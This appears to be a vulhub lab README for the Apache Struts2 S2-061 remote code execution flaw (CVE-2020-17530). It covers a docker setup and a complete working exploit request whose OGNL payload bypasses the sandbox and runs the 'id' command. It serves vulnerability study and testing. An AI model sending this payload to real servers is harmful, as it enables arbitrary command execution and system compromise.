Aaron
63285f61aa
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51 lines
2.2 KiB
Markdown
51 lines
2.2 KiB
Markdown
# Struts2 S2-061 Remote Code Execution Vulnerablity (CVE-2020-17530)
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[中文版本(Chinese version)](README.zh-cn.md)
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In the versions prior to Struts 2.5.25, when evaluated on raw user input in tag attributes, may lead to remote code execution.
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This vulnerability is the bypass of the OGNL sandbox, which enhance after S2-059.
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References:
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- https://cwiki.apache.org/confluence/display/WW/S2-061
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- https://github.com/ka1n4t/CVE-2020-17530
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- https://www.anquanke.com/post/id/225252
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- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
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## Setup
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Start a Struts 2.5.25 server:
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```
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docker compose up -d
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```
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After the environment is started, visit `http://your-ip:8080/` and you will see a simple page. It is just a copy application of the [S2-059](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059), except for the different Struts versions.
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## Exploit
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Send the following request to execute the `id` command:
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```
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POST /index.action HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
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Content-Length: 829
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF
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Content-Disposition: form-data; name="id"
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%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
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```
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It can be seen that the result of the `id` command will be displayed on the page:
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